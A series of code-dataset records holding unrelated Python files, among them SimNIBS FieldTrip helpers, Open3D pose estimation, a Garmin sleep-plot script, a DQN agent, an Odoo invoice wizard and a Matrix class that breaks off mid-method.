PARAMETERS\n ----------\n m2m_dir : Path-like\n The directory containing the segmentation and head model results.\n subsampling : None | int\n The subsampling to use (default = None).\n morph_to_fsaverage : None | int\n Whether or not to create a mapping from subject space to the fsaverage\n template (default = 10, which constructs a morph to the fsaverage 10k\n model).\n\n RETURNS\n -------\n src_from : dict\n Dictionary with the source model information.\n mmaps : dict | None\n Dictionary with scipy.sparse.csr_matrix describing the morph from\n subject to fsaverage.\n \"\"\"\n\n m2m = SubjectFiles(subpath=str(m2m_dir))\n src_from = load_subject_surfaces(m2m, \"central\", subsampling)\n # if surface is subsampled, add normals from original surface\n normals = (\n {\n h: np.loadtxt(m2m.get_morph_data(h, \"normals.csv\", subsampling), delimiter=\",\")\n for h in src_from\n }\n if subsampling\n else None\n )\n src_from = make_sourcemodel(src_from, normals)\n\n if morph_to_fsaverage:\n morphs = make_cross_subject_morph(\n m2m, \"fsaverage\", subsampling, morph_to_fsaverage\n )\n mmaps = {h: v.morph_mat for h, v in morphs.items()}\n else:\n mmaps = None\n return src_from, mmaps\n\n\ndef make_sourcemodel(src: dict, normals: Union[dict, None] = None):\n \"\"\"Create a dictionary with source model information which can be used with\n FieldTrip.\n\n PARAMETERS\n ----------\n src : dict\n Dictionary with entries `lh` and `rh` each being a\n normals : dict\n\n\n RETURNS\n -------\n sourcemodel : dict\n Dictionary with source model information.\n \"\"\"\n hemi2fieldtrip = dict(lh=\"CORTEX_LEFT\", rh=\"CORTEX_RIGHT\")\n\n # Construct a composite triangulation for both hemispheres\n cortex = src[\"lh\"].join_mesh(src[\"rh\"])\n pos = cortex.nodes.node_coord\n # Msh class already uses 1-indexing (!) so no need to modify\n tri = cortex.elm.node_number_list[:, :3]\n\n # All sources are valid\n inside = np.ones(cortex.nodes.nr, dtype=bool)[:, None]\n\n # ft_read_headshape outputs this structure\n brainstructure = np.concatenate(\n [np.full(src[h].nodes.nr, i) for i, h in enumerate(src, start=1)]\n )\n brainstructurelabel = np.stack([hemi2fieldtrip[h] for h in src]).astype(object)\n\n sourcemodel = dict(\n pos=pos,\n tri=tri,\n unit=\"mm\",\n inside=inside,\n brainstructure=brainstructure,\n brainstructurelabel=brainstructurelabel,\n )\n\n if normals:\n sourcemodel[\"normals\"] = np.concatenate([normals[h] for h in src])\n\n return sourcemodel\n\n\n# FORWARD\n\n\ndef make_forward(forward: dict, src: dict):\n \"\"\"Make a forward dictionary in a FieldTrip compatible format from a\n dictionary with forward information.\n\n PARAMETERS\n ----------\n forward : dict\n Dictionary with forward solution information (as returned by\n `eeg.forward.prepare_forward`).\n src : dict\n Dictionary with source space information (as returned by\n `setup_source_space`).\n\n RETURNS\n -------\n fwd : dict\n The forward dictionary.\n\n NOTES\n -----\n The leadfield of a particular electrode may be plotted in FieldTrip like so\n\n fwd_mat = cell2mat(fwd.leadfield);\n elec = 10; % electrode\n ori = 2; % orientation (1,2,3 corresponding to x,y,z)\n ft_plot_mesh(src, 'vertexcolor', fwd_mat(elec, ori:3:end)');\n \"\"\"\n # Create a cell array of matrices by filling a numpy object. Each cell is\n # [n_channels, n_orientations]\n fwd_cell = np.empty(forward[\"n_sources\"], dtype=object)\n for i in range(forward[\"n_sources\"]):\n fwd_cell[i] = forward[\"data\"][:, i]\n\n labels = np.array(forward[\"ch_names\"]).astype(object)[:, None]\n\n # The forward structure of FieldTrip\n return dict(\n pos=src[\"pos\"],\n inside=src[\"inside\"],\n unit=src[\"unit\"],\n leadfield=fwd_cell,\n label=labels,\n leadfielddimord=r\"{pos}_chan_ori\",\n cfg=f\"Created by SimNIBS {simnibs.__version__}\",\n )\n\n\n\ndef prepare_montage(\n fname_montage: Union[Path, str],\n fname_info: Union[Path, str],\n fname_trans: Union[None, Path, str] = None,\n):\n \"\"\"Prepare SimNIBS montage file from a FieldTrip data structure containing\n an `elec` field describing the electrode configuration.\n\n PARAMETERS\n ----------\n fname_montage :\n Name of the SimNIBS montage file to write.\n fname_info :\n Name of a MAT file containing the electrode information in the field\n `elec`.\n fname_trans :\n Affine transformation matrix to apply to the electrode positions before\n writing to `fname_montage`.\n\n RETURNS\n -------\n \"\"\"\n fname_info = Path(fname_info)\n\n info = loadmat(fname_info)[\"elec\"][0]\n info = dict(zip(info.dtype.names, info[0]))\n info[\"label\"] = np.array([label[0] for label in info[\"label\"].squeeze()])\n info[\"chantype\"] = np.array([ct[0] for ct in info[\"chantype\"].squeeze()])\n info[\"unit\"] = info[\"unit\"][0]\n scale = to_m[info[\"unit\"]] * from_m[\"mm\"]\n info[\"elecpos\"] *= scale\n # info[\"chanpos\"] *= scale # unused\n\n if fname_trans:\n fname_trans = Path(fname_trans)\n if fname_trans.suffix == \".mat\":\n trans = loadmat(fname_trans)[\"trans\"]\n elif fname_trans.suffix == \".txt\":\n trans = np.loadtxt(fname_trans)\n else:\n raise ValueError(\"`fname_trans` must be either a MAT or a TXT file.\")\n\n info[\"elecpos\"] = apply_affine(trans, info[\"elecpos\"])\n # info[\"chanpos\"] = apply_affine(trans, info[\"chanpos\"])\n\n is_eeg = info[\"chantype\"] == \"eeg\"\n\n write_csv_positions(\n fname_montage,\n [\"Electrode\"] * sum(is_eeg),\n info[\"elecpos\"][is_eeg],\n info[\"label\"][is_eeg].tolist(),\n )\n","repo_name":"simnibs/simnibs","sub_path":"simnibs/eeg/utils_fieldtrip.py","file_name":"utils_fieldtrip.py","file_ext":"py","file_size_in_byte":6625,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"7"} +{"seq_id":"20585810557","text":"import open3d as o3d\nimport numpy as np\nfrom tqdm import tqdm\nimport random\n\n\ndef global_pose_estimation(scene, obj):\n tree = o3d.geometry.KDTreeSearchParamKNN(knn=10)\n obj.estimate_normals(tree)\n scene.estimate_normals(tree)\n\n tree2 = o3d.geometry.KDTreeSearchParamRadius(0.05)\n obj_features = o3d.pipelines.registration.compute_fpfh_feature(obj, tree2)\n scene_features = o3d.pipelines.registration.compute_fpfh_feature(obj, tree2)\n\n obj_features = np.asarray(obj_features.data).T\n scene_features = np.asarray(scene_features.data).T\n\n corr = o3d.utility.Vector2iVector()\n for j in tqdm(range(obj_features.shape[0]), desc='Correspondences'):\n fobj = obj_features[j]\n dist = np.sum((fobj - scene_features) ** 2, axis=-1)\n kmin = np.argmin(dist)\n corr.append((j, kmin))\n\n tree3 = o3d.geometry.KDTreeFlann(scene)\n iters = 100\n thresh_squared = 0.01 ** 2\n random.seed(123456789)\n inliers_best = 0\n for _ in tqdm(range(iters), desc='RANSAC'):\n corr_ = o3d.utility.Vector2iVector(random.choices(corr, k=3))\n est = o3d.pipelines.registration.TransformationEstimationPointToPoint()\n T = est.compute_transformation(obj, scene, corr_)\n\n obj_aligned = o3d.geometry.PointCloud(obj)\n obj_aligned.transform(T)\n\n inliers = 0\n for j in range(len(obj_aligned.points)):\n k, idx, dist = tree3.search_knn_vector_3d(obj_aligned.points[j], 1)\n if dist[0] < thresh_squared:\n inliers += 1\n\n if inliers > inliers_best:\n print(f'Got a new model with {inliers}/{len(obj_aligned.points)} inliers!')\n inliers_best = inliers\n pose = T\n\n print('Global pose estimation:', pose)\n return pose\n\n\ndef local_pose_estimation(scene, obj, init_pose=None):\n tree = o3d.geometry.KDTreeFlann(scene)\n iters = 50\n thresh_squared = 0.01 ** 2\n pose = init_pose\n obj_aligned = o3d.geometry.PointCloud(obj)\n for _ in tqdm(range(iters), desc='ICP'):\n corr = o3d.utility.Vector2iVector()\n for j in range(len(obj_aligned.points)):\n k, idx, dist = tree.search_knn_vector_3d(obj_aligned.points[j], 1)\n if dist[0] < thresh_squared:\n corr.append((j, idx[0]))\n\n est = o3d.pipelines.registration.TransformationEstimationPointToPoint()\n T = est.compute_transformation(obj_aligned, scene, corr)\n obj_aligned.transform(T)\n pose = T if pose is None else T @ pose\n\n print('Local pose estimation:', pose)\n return pose\n","repo_name":"PsorTheDoctor/robwork","sub_path":"src/project/vision/Code/point_estimation.py","file_name":"point_estimation.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"2551413026","text":"def int_to_roman(num):\n numbers = [1000000, 900000, 500000, 400000, 100000, 90000, 50000, 40000, 10000, 9000, 5000, 4000, 1000, 900, 500,\n 400, 100, 90, 50, 40, 10, 9, 5, 4, 1]\n romans = [\"^M\", \"^C^M\", \"^D\", \"^C^D\", \"^C\", \"^X^C\", \"^L\", \"^X^L\", \"^X\", \"^I^X\", \"^V\", \"M^V\", \"M\", \"CM\", \"D\",\n \"CD\", \"C\", \"XC\", \"L\", \"XL\", \"X\", \"IX\", \"V\", \"IV\", \"I\"]\n roman_num = \"\"\n i = 0\n while num > 0:\n while (num // numbers[i]) > 0:\n roman_num += romans[i]\n num -= numbers[i]\n i += 1\n return roman_num\n\n\ndef is_float(value):\n try:\n float(value)\n return True\n except ValueError:\n return False\n\n\ndef check_for_zero(num):\n if int(num) == 0:\n print(\"N\")\n else:\n print(int_to_roman(int(num)))\n\n\ndef is_valid(num):\n if num.isdigit():\n if int(num) > 3999999:\n return False\n else:\n return True\n\n\nflag = True\nwhile flag:\n num = input(\"Enter an Integer between 0 and 3,999,999: \").strip()\n while not is_valid(num):\n print(\"Invalid input, please enter a positive integer!\\n\")\n num = input(\"Enter an Integer between 0 and 3,999,999: \").strip()\n else:\n check_for_zero(num)\n yes_or_no = input(\"Again? \")\n if yes_or_no.lower() == \"n\":\n flag = False\n","repo_name":"yarongoldshtein/romanNumbers","sub_path":"IntegerToRoman.py","file_name":"IntegerToRoman.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"16990076799","text":"import numpy as np\nfrom fitparse import FitFile\nimport matplotlib.pyplot as plt\nimport matplotlib.pyplot as pyplot\n#import numpy as np\nfrom statistics import mean\nimport pandas as pd\n#import matplotlib as mpl\n#from tabulate import tabulate\nfrom scipy.signal import savgol_filter\nimport read_fit_file as readfit\nimport get_cloud_data as getc\nimport json\nimport datetime\nfrom tabulate import tabulate\nimport myfitnesspal\nimport os\n\ndef format_timedelta(td):\n minutes, seconds = divmod(td.seconds + td.days * 86400, 60)\n hours, minutes = divmod(minutes, 60)\n if hours > 0:\n return '{:d}:{:02d}:{:02d}'.format(hours, minutes, seconds)\n else:\n return '{:02d}:{:02d}'.format(minutes, seconds)\n\napi = None\n# Load environment variables if defined\nemail = os.getenv(\"garmin_email\")\npassword = os.getenv(\"garmin_password\")\n\nprint(email)\nprint(password)\n\nfor i in range(10):\n # Init API\n if not api:\n api, last_activity = getc.get_last_activity()\n else:\n break\n\n\n# activity_id = last_activity[\"activityId\"]\ntoday = datetime.date.today()\nstartdate = today - datetime.timedelta(days=7)\nfilename_prefix =\"2023_01_19\"\nsleep_text = ''\nsleep_list = []\n\nx = []\nrhr_list = []\nfilename_prefix = today.strftime(\"%Y_%m_%d\")\nstartdate = today - datetime.timedelta(days=7)\n\n\n\nx = []\nactivityszint = []\nfilename_prefix = today.strftime(\"%Y_%m_%d\")\nsleep = api.get_sleep_data(today.isoformat())\nfor data in sleep[\"sleepLevels\"]:\n x.append(datetime.datetime.strptime(data['startGMT'], \"%Y-%m-%dT%H:%M:%S.%f\"))\n x.append(datetime.datetime.strptime(data['endGMT'], \"%Y-%m-%dT%H:%M:%S.%f\") - datetime.timedelta(seconds=1))\n activityszint.append(data['activityLevel'])\n activityszint.append(data['activityLevel'])\neber = np.array([0.9] * len(activityszint)) # 66B2FF\nrem = np.array([1.9] * len(activityszint)) # 990099\nebrenlet = np.array([2.9] * len(activityszint)) # FF66B2\n\nfig, ax = plt.subplots(figsize=(15, 5.2))\nax.set_ylabel('Alvási szakaszok')\nax.set_xlabel('Dátum')\nplt.ylim([-1, max(activityszint)])\nax.plot(x, activityszint, label='Alvás')\nax.fill_between(x, -1, 0, where=(activityszint < eber), color='#004C99', alpha=0.5)\nax.fill_between(x, -1, 1, where=(\n list(map(lambda x, y: x and y, (activityszint > eber), (activityszint < rem)))), color='#66B2FF', alpha=0.5)\nax.fill_between(x, -1, 2, where=(\n list(map(lambda x, y: x and y, (activityszint > rem), (activityszint < ebrenlet)))), color='#990099', alpha=0.5)\nax.fill_between(x, -1, 3, where=(activityszint > ebrenlet), color='#FF66B2', alpha=0.5)\nplt.xlim(x[0], x[-1])\nstart_value = x[0].strftime(\"%m-%d %H:%M\")\nend_value = x[-1].strftime(\"%m-%d %H:%M\")\nax.annotate(f\"Start: {start_value}\", xy=(ax.get_xlim()[0], -1), xycoords='data', xytext=(-50, -30),\n textcoords='offset points', arrowprops=dict(arrowstyle=\"->\",\n connectionstyle=\"arc3,rad=.2\"))\nax.annotate(f\"End: {end_value}\", xy=(ax.get_xlim()[1], -1), xycoords='data', xytext=(-50, -30),\n textcoords='offset points', arrowprops=dict(arrowstyle=\"->\",\n connectionstyle=\"arc3,rad=.2\"))\nax.set_yticks([0, 1, 2, 3])\nplt.yticks(ticks=[0, 1, 2, 3], labels=[\"Mély\", \"Éber\", \"REM\", \"Ébrenlét\"], fontsize=12)\nplt.savefig(filename_prefix + '_sleep.png')\nplt.close(fig)\nsleep_data = [[\"Alvási adatok: \", \"Alvási eredmény \", \"Az alvás egésze \", \"Alvásról visszajelzés \", \"Teljes hossz \",\n \"Alvási stress \", \"Mély alvás \", \"Könnyű alvás \", \"REM \", \"Ébrenlét \"],\n [sleep['dailySleepDTO']['calendarDate'],\n str(sleep['dailySleepDTO']['sleepScores'][\"overall\"]['value']) + \" /100\", '', '',\n format_timedelta(datetime.timedelta(seconds=sleep['dailySleepDTO']['sleepTimeSeconds'])),\n sleep['dailySleepDTO']['avgSleepStress'],\n format_timedelta(datetime.timedelta(seconds=sleep['dailySleepDTO']['deepSleepSeconds'])),\n format_timedelta(datetime.timedelta(seconds=sleep['dailySleepDTO']['lightSleepSeconds'])),\n format_timedelta(datetime.timedelta(seconds=sleep['dailySleepDTO']['remSleepSeconds'])),\n format_timedelta(datetime.timedelta(seconds=sleep['dailySleepDTO']['awakeSleepSeconds']))],\n ['', '', sleep['dailySleepDTO']['sleepScores'][\"overall\"]['qualifierKey'],\n sleep['dailySleepDTO']['sleepScoreFeedback'],\n sleep['dailySleepDTO']['sleepScores'][\"totalDuration\"]['qualifierKey'],\n sleep['dailySleepDTO']['sleepScores'][\"stress\"]['qualifierKey'],\n sleep['dailySleepDTO']['sleepScores'][\"deepPercentage\"]['qualifierKey'],\n sleep['dailySleepDTO']['sleepScores'][\"lightPercentage\"]['qualifierKey'],\n sleep['dailySleepDTO']['sleepScores'][\"remPercentage\"]['qualifierKey'],\n sleep['dailySleepDTO']['sleepScores'][\"awakeCount\"]['qualifierKey']]]\nsleep_data_df = pd.DataFrame(sleep_data)\n","repo_name":"ZooLee77/Report_to_Coach","sub_path":"scratch2.py","file_name":"scratch2.py","file_ext":"py","file_size_in_byte":5025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70865285022","text":"import collections\nfrom copy import deepcopy\nfrom typing import List\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom typing import List\n\n\nclass DQN(Agent):\n\n def __init__(self, network: nn.Module, actions: List, alpha: float, gamma: float, eps: float, c: int = 128, t: int = 1024, capacity: int = 1024, bs: int = 32, device='cpu'):\n super().__init__()\n\n self.actions = {i: action for i, action in enumerate(actions)}\n self.alpha = alpha\n self.gamma = gamma\n self.eps = eps\n\n self.bs = bs\n self.c = c\n self.t = t\n\n self.device = device\n\n self.buffer = ExperienceReplay(capacity, device)\n self.Q = network.to(device)\n self.Q_prime = deepcopy(self.Q).to(device).eval()\n\n self.loss = nn.MSELoss()\n self.opt = torch.optim.AdamW(self.Q.parameters(), lr=self.alpha)\n self.i = 0 # counter used to trigger the update of Q_prime with Q\n\n self.prev_state = None\n self.prev_action = None\n\n def _action_value(self, state, action=None, clone: bool = False):\n \"\"\" If clone is False, the `self.Q` network is used, otherwise, `self.Q_prime` is used. \"\"\"\n Q = self.Q if not clone else self.Q_prime\n n = state.shape[0]\n state = state.to(self.device)\n if action is not None:\n value = Q(state)[list(range(n)), action]\n else:\n value = Q(state)\n return value\n\n def _get_action(self, state, eps):\n \"\"\" Return an eps-greedy action to be taken from this state. \"\"\"\n with torch.no_grad():\n if np.random.rand() < eps: \n return torch.from_numpy(np.random.choice(list(self.actions.keys()), size=(state.shape[0],)))\n actions = self._action_value(state=state, clone=True).argmax(dim=1)\n return actions\n\n def update(self, state:torch.Tensor, reward:float):\n \"\"\" Update state-action value of previous (state, action).\n Args:\n state (Any): The new state representation.\n reward (float): Reward received upon the transaction to `state`.\n Note:\n - The parameter ``state`` should be a tensor with the leading batch dimension.\n \"\"\"\n state = self.decode_state(state).cpu()\n\n # register history\n self.buffer.append((self.prev_state, self.prev_action, torch.tensor(reward).unsqueeze(0).float(), state))\n\n # sample batch_size\n states, actions, rewards, next_states = self.buffer.sample(self.bs)\n gt = rewards + self.gamma * self._action_value(next_states, clone=True).max(dim=1)[0]\n pred = self._action_value(states, actions, clone=False)\n loss = self.loss(pred, gt)\n\n # update Q\n self.opt.zero_grad()\n loss.backward()\n self.opt.step()\n\n if self.i == self.c:\n # update Q_prim\n self.i = 0\n self.Q_prime = deepcopy(self.Q).eval()\n self.i += 1\n\n try:\n return loss.item()\n except:\n return None\n\n def take_action(self, state):\n \"\"\" Choose an eps-greedy action to be taken from this state. \n Args:\n state (Any): The current state representation. After fed to ``decode_state``, the output should be eligible to be a network input.\n \"\"\"\n state = self.decode_state(state)\n assert state.shape[0] == 1\n \n action = self._get_action(state, self.eps).cpu()\n \n self.prev_action = action\n self.prev_state = state\n return self.actions[action.item()]\n\n def save(self, path: str):\n \"\"\" Save state-action value table in `path`.npy\n Args:\n path (str): The location of where to store the state-action value table.\n \"\"\"\n super().save(path)\n torch.save(self.Q.state_dict(), path + '.pth')\n\n def load(self, path):\n \"\"\" Load state-action value table.\n If it doesn't exist, a randomly-initialized table is used.\n Args:\n path (str): The location of where the state-action value table resides.\n \"\"\"\n\n try:\n self.Q.load_state_dict(torch.load( path + '.pth'))\n self.Q = self.Q.to(self.device)\n self.Q_prime = deepcopy(self.Q).to(self.device).eval()\n except:\n print(\"No file is found in:\", path)\n\n\nclass ExperienceReplay:\n\n def __init__(self, capacity, device):\n self.buffer = collections.deque(maxlen=capacity)\n self.device = device\n\n def __len__(self):\n return len(self.buffer)\n\n def append(self, experience):\n self.buffer.append(experience)\n\n def sample(self, batch_size):\n try:\n indices = np.random.choice(\n len(self.buffer), batch_size, replace=False)\n except:\n indices = np.random.choice(\n len(self.buffer), batch_size, replace=True)\n\n states, actions, rewards, next_states = map(lambda x: torch.cat(x, dim=0).to(self.device), zip(*(self.buffer[idx] for idx in indices)))\n return states, actions, rewards, next_states\n\n\n# Define the network architecture\nclass QNetwork(nn.Module):\n def __init__(self, state_size, action_size):\n super().__init__()\n self.fc1 = nn.Linear(state_size, 128)\n self.fc2 = nn.Linear(128, 128)\n self.fc3 = nn.Linear(128, action_size)\n\n def forward(self, x):\n x = torch.relu(self.fc1(x))\n x = torch.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n \n\n# Define the function to test dqn agent\ndef test_dqn_minihack(env,size):\n ALPHA = 0.1 # Learning rate\n GAMMA = 1 # discount\n EPS = 0.05 # exploration rate\n ITERS = 10\n class MyAgent(DQN):\n\n def decode_state(self, state):\n s = torch.from_numpy(np.array(\n tuple(map(tuple, state['chars_crop'])))).flatten().unsqueeze(0).float()\n return s\n\n num_actions = env.action_space.n\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n \n dqnlearner = MyAgent(nn.Linear(size*size,env.action_space.n), actions=list(range(env.action_space.n)),\n alpha=ALPHA, gamma=GAMMA, eps=EPS,device = device)\n #dqnlearner = MyAgent(QNetwork(size*size,env.action_space.n), actions=list(range(env.action_space.n)),\n # alpha=ALPHA, gamma=GAMMA, eps=EPS,device = device)\n \n dqnlearner.load('dqnlearner_minihack')\n\n all_rewards = []\n for i in range(ITERS):\n state = env.reset()\n # Get the target postision(Here we fixed it at the bottom right)\n n = 0\n done = False\n rewards = 0\n while not done:\n n += 1\n action = dqnlearner.take_action(state)\n state, reward, done, info = env.step(action)\n rewards+=reward\n dqnlearner.update(state, reward)\n\n dqnlearner.save('dqnlearner_minihack')\n all_rewards.append(rewards)\n print('>'*40, f'Episode {i+1} is finished in {n} steps, the reward is {rewards}')\n\n return dqnlearner,all_rewards\n\n","repo_name":"EmmaHongW/RL_Minihack_Project","sub_path":"model/dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":7157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"79055488","text":"from brownie import APNFT, config, network\nfrom scripts.util import get_account\n\n\nsample_token_uri = \"https://ipfs.io/ipfs/{}?filename={}\"\n\n\ndef mint_nft():\n account = get_account()\n\n if len(APNFT) == 0:\n print(\"NFT has not been deployed yet!\")\n return\n\n apnft = APNFT[-1]\n\n if apnft.tokenBalance == 0:\n print(\"No fund in the token\")\n return\n\n tx = apnft.createImageNFT(sample_token_uri, {\"from\": account})\n tx.wait(1)\n\n\ndef main():\n mint_nft()\n","repo_name":"newguy7/mynft_fall_collection","sub_path":"scripts/Nft_mint.py","file_name":"Nft_mint.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"19329424629","text":"import difflib\nimport os\nfrom pathlib import Path\nfrom typing import List\n\nfrom loguru import logger\n\n\ndef get_file(file_path):\n with open(file_path) as f:\n data = f.read()\n return data\n\n\ndef get_diffing_lines(old_lines, new_lines) -> List[int]:\n diffs = difflib.Differ().compare(old_lines, new_lines)\n lin_num = 0\n diffing_lines_num = []\n diffing_lines = []\n for line in diffs:\n code = line[:2]\n if code in (\" \", \"+ \"):\n lin_num += 1\n if code == \"+ \":\n diffing_lines.append(line)\n diffing_lines_num.append(lin_num)\n logger.info(f\"Diff. lines numbers: {diffing_lines_num}\")\n logger.info(f\"Diff. lines: {diffing_lines}\")\n return diffing_lines_num\n\n\ndef get_file_path_from_notebook_path(notebook_path):\n notebook_path = Path(notebook_path)\n return notebook_path.parent / f\"{notebook_path.stem}.py\"\n\n\ndef get_notebook_path_from_file_path(file_path):\n file_path = Path(file_path)\n return file_path.parent / f\"{file_path.stem}.ipynb\"\n\n\ndef get_file_update_timestamp(file_path):\n statbuf = os.stat(file_path)\n timestamp = statbuf.st_mtime\n return timestamp\n","repo_name":"festeh/jure","sub_path":"jure/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"7"} +{"seq_id":"5196925900","text":"# -*- coding: utf-8 -*-\n\nimport datetime\nimport logging\n\nfrom openerp import models, fields, api, _\nfrom openerp.exceptions import except_orm\n\n_logger = logging.getLogger(__name__)\n\n\nclass WizardInvoice(models.TransientModel):\n _name = \"collection_plan.wizard_invoice\"\n _inherit = \"collection_plan.wizard_invoice\"\n\n verification_id = fields.Many2one(\n \"education_contract.verification\", related=\"contract_id.verification_id\"\n )\n collection_plan_id = fields.Many2one(\n \"collection_plan.collection_plan\", related=\"verification_id.collection_plan_id\"\n )\n tax_ids = fields.Many2many(\"account.tax\", string=_(\"Impuesto\"))\n is_taxes = fields.Boolean(compute=\"_compute_is_tax_ids\")\n taxes_included = fields.Boolean(_(u\"Incluye impuesto\"))\n\n @api.depends(\"tax_ids\")\n def _compute_is_tax_ids(self):\n for record in self:\n if not record.tax_ids:\n record.is_taxes = True\n else:\n record.is_taxes = False\n for payment in record.payment_term_ids:\n if not record.is_taxes:\n payment.is_taxes = True\n else:\n payment.is_taxes = False\n\n @api.onchange(\"tax_ids\")\n def onchange_tax_ids(self):\n for record in self:\n for payment in self.payment_term_ids:\n payment.tax_ids = [(6, 0, record.tax_ids.ids)]\n\n @api.multi\n def build_lines(self):\n self.ensure_one()\n inv_lines = []\n\n tax_ids = []\n\n for payment in self.payment_term_ids:\n if payment.description:\n name = payment.description\n else:\n name = \"Contrato: %s - Fecha de pago: %s\" % (\n payment.plan_id.collection_plan_id.contract_id.barcode,\n payment.payment_date,\n )\n\n default_product_id = self.env[\"product.template\"].search(\n [(\"name\", \"=\", \"IMPORT SRI PRODUCT\")]\n )\n default_product = self.env[\"product.product\"].search(\n [(\"product_tmpl_id\", \"=\", default_product_id.id)]\n )\n\n cm_product_template_util_id = default_product_id.product_template_util_id\n if not cm_product_template_util_id:\n raise _(\n \"Accounts for default product is not set correctly for multi company.\"\n )\n\n account = cm_product_template_util_id.account_income\n _logger.info(\"account_income: %s\" % str(account))\n\n account = (\n self.env[\"account.account\"]\n .sudo()\n .search(\n [\n (\"company_id\", \"=\", self.operating_unit_id.company_id.id),\n (\"code\", \"=\", account.code),\n ]\n )\n )\n _logger.info(\"account_income from company: %s\" % str(account))\n\n if self.tax_ids:\n tax_ids = [6, 0, self.tax_ids.ids]\n else:\n for tax in payment.tax_ids:\n tax_ids = [6, 0, payment.tax_ids.ids]\n\n # t_domain = [\n # ('porcentaje', '=', '0'), # cable, se deberia tomar por parametro, igual se puede editar luego\n # ('tax_group', '=', 'vat0'), # cable, se deberia tomar por parametro, igual se puede editar luego\n # ('company_id', '=', self.operating_unit_id.company_id.id),\n # ('type_tax_use', 'in', ['sale', 'all'])]\n # tax_id = self.env['account.tax'].search(t_domain)[:1]\n\n price_unit = 0.0\n taxes = self.tax_ids if self.tax_ids else payment.tax_ids\n for tax in taxes:\n if tax.tax_group == \"vat\":\n factor = tax.porcentaje / 100 + 1\n if self.taxes_include or payment.taxes_include:\n price_unit = payment.amount / factor\n else:\n price_unit = payment.amount * factor\n\n line = {\n \"name\": name,\n \"account_id\": account.id,\n \"price_unit\": price_unit or payment.amount,\n \"quantity\": float(1.0),\n \"product_id\": default_product.id,\n \"invoice_line_tax_id\": [(6, 0, tax_ids)],\n \"account_analytic_id\": False,\n }\n\n inv_lines.append((0, 0, line))\n\n return inv_lines\n","repo_name":"ateneolab/odoo-dev","sub_path":"education_contract_collection_plan/wizard/wizard_invoice.py","file_name":"wizard_invoice.py","file_ext":"py","file_size_in_byte":4483,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"21356267000","text":"import math\nfrom copy import deepcopy\n\n\nclass Matrix():\n def __init__(self, list_of_lists=None):\n if list_of_lists:\n self.data = deepcopy(list_of_lists)\n else:\n self.data = [[]]\n \n def __str__(self):\n return '\\n'.join(' '.join(map(str, row))\n for row in self.data)\n def __getitem__(self, idx):\n return self.data[idx]\n\n def __repr__(self):\n return 'Matrix(' + self.data.__repr__() + ')'\n \n def __del__(self):\n del self.data\n \n def __eq__(self, other):\n return self.data == other.data\n \n def getrow(self,indx):\n return Matrix([self.data[indx]])\n \n def getcolumn(self,indx):\n l = [[0] for i in range(self.shape()[1])]\n for i in range(len(l)):\n l[i][0] = self.data[i][indx]\n return Matrix(l)\n \n def setrow(self,row,indx):\n for i in range(len(self.data[indx])):\n self.data[indx][i] = row.data[0][i]\n \n def setcolumn(self,col,indx):\n for i in range(len(self.data)):\n self.data[i][indx] = col.data[i][0]\n \n def __add__(self, other):\n other = Matrix(other)\n result = []\n numbers = []\n for i in range(len(self.data)):\n for j in range(len(self.data[0])):\n summa = other[i][j] + self.data[i][j]\n numbers.append(summa)\n if len(numbers) == len(self.data):\n result.append(numbers)\n numbers = []\n return Matrix(result)\n def __sub__(self, other):\n other = Matrix(other)\n result = []\n numbers = []\n for i in range(len(self.data)):\n for j in range(len(self.data[0])):\n sub = self.data[i][j] - other[i][j]\n numbers.append(sub)\n if len(numbers) == len(self.data):\n result.append(numbers)\n numbers = []\n return Matrix(result)\n \n def fromfile(self,inputfile):\n self.data = []\n with open(inputfile,'r') as f:\n for line in f:\n if len(list(map(int,line.split()))) != 0:\n self.data.append(list(map(int,line.split())))\n return self\n \n def tofile(self,outputfile,mode,toint=False):\n if toint:\n with open(outputfile,mode) as f:\n for line in self.data:\n f.write(' '.join(list(map(lambda x: str(round(x)),line))) + '\\n')\n else:\n with open(outputfile,mode) as f:\n for line in self.data:\n f.write(' '.join(list(map(str,line))) + '\\n')\n\n def __mul__(self, other):\n if isinstance(other, int) or isinstance(other, float):\n result = [[other * x for x in y] for y in self.data]\n return Matrix(result)\n if self.shape()[1] != other.shape()[0]:\n raise ValueError('Incorrect dimension')\n l = []\n for _ in range(len(self.data)):\n l.append(len(other.data[0])*[0])\n for i in range(len(l)):\n for j in range(len(l[0])):\n for k in range(len(other.data)):\n l[i][j] += self.data[i][k]*other.data[k][j]\n return Matrix(l)\n \n def __truediv__(self, other):\n if isinstance(other, int) or isinstance(other, float):\n result = [[x / other for x in y] for y in self.data]\n return Matrix(result)\n raise 'only for nums!'\n \n def __rtruediv__(self, other):\n return self.__div__(other)\n\n def norm(self):\n answer = 0\n for i in range(len(self.data)):\n for j in range(len(self.data[0])):\n answer += self.data[i][j]**2\n return math.sqrt(answer)\n \n def __rmul__(self, other):\n return self.__mul__(other)\n \n def T(self):\n l = []\n for _ in range(len(self.data[0])):\n l.append(len(self.data)*[0])\n for i in range(len(self.data)):\n for j in range(len(self.data[0])):\n l[j][i] = self.data[i][j]\n return Matrix(l)\n \n def gram_sch(self):\n l = []\n for _ in range(len(a.data)):\n l.append(len(a.data[0])*[0])\n b = Matrix(l)\n for i in range(b.shape()[0]):\n b.setcolumn(a.getcolumn(i),i)\n for j in range(i):\n tmp = 